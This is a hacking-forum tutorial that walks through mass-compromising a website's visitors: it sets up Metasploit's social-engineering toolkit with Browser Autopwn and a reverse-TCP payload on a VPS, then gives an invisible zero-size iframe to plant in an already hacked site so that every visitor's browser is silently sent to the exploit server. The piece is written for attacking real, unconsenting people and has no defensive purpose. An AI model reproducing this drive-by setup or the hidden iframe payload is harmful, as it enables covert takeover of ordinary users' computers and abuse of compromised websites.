[TuT] Hacking Traffic of a Website by Exploiting Browser

In this Topic I will tell you how to hack Traffic of a website ! Well It is a simple way but If yo wanna go advance you can use exploit pack 

what will we use in this attack

1# metasploit

2# VPS

3# Iframe

4# Target website


So Lets Start ! Install metasploit in your VPS and Open Set "metasploit social engineering tool kit"



root@Scientist:~# cd /pentest/exploits/set
root@Scientist:/pentest/exploits/set# ./set



Select Social Engineering attacks





Select website attack vector



Select web template or any other 

Provide the given Information about your IP , Port and payload

Select required java or anyother




Select attack Type (33) Browser autopwn

It Try each exploit from the database to compromise victim



Here you have to setup your payload

I Use meterpreter reverse http

but here will use windows reverse_tcp

and set port used to get information



So now hold on and wait while server is going to be started at 10.10.10.10:8080



Now server has been started 




Hola Hola Now we have successfully Setup !

so if anyone visits 10.10.10.10:8080 (our VPS) he will be Fucked and we will have payload in it

[img]http://oi50.tinypic.com/mimjyq.jpg[/img


Now if anyone will visit our server ( http://10.10.10.10:8080)will be fucked :| and metasploit will start exploiting his system 

So now here come a mind game ! Now create an Iframe and insert it into your hacked website

Here is Iframe for our server

Code:

<iframe src=
"http://10.10.10.10:8080" width="0%"
height="0px" border="0" scrolling="auto" /></iframe>

So this iframe has no size and its invisible at target.com
so if a person visit target.com he will be also visiting our exploit setup and he will be fucked


So now keep monitoring traffic in terminal ! and chill out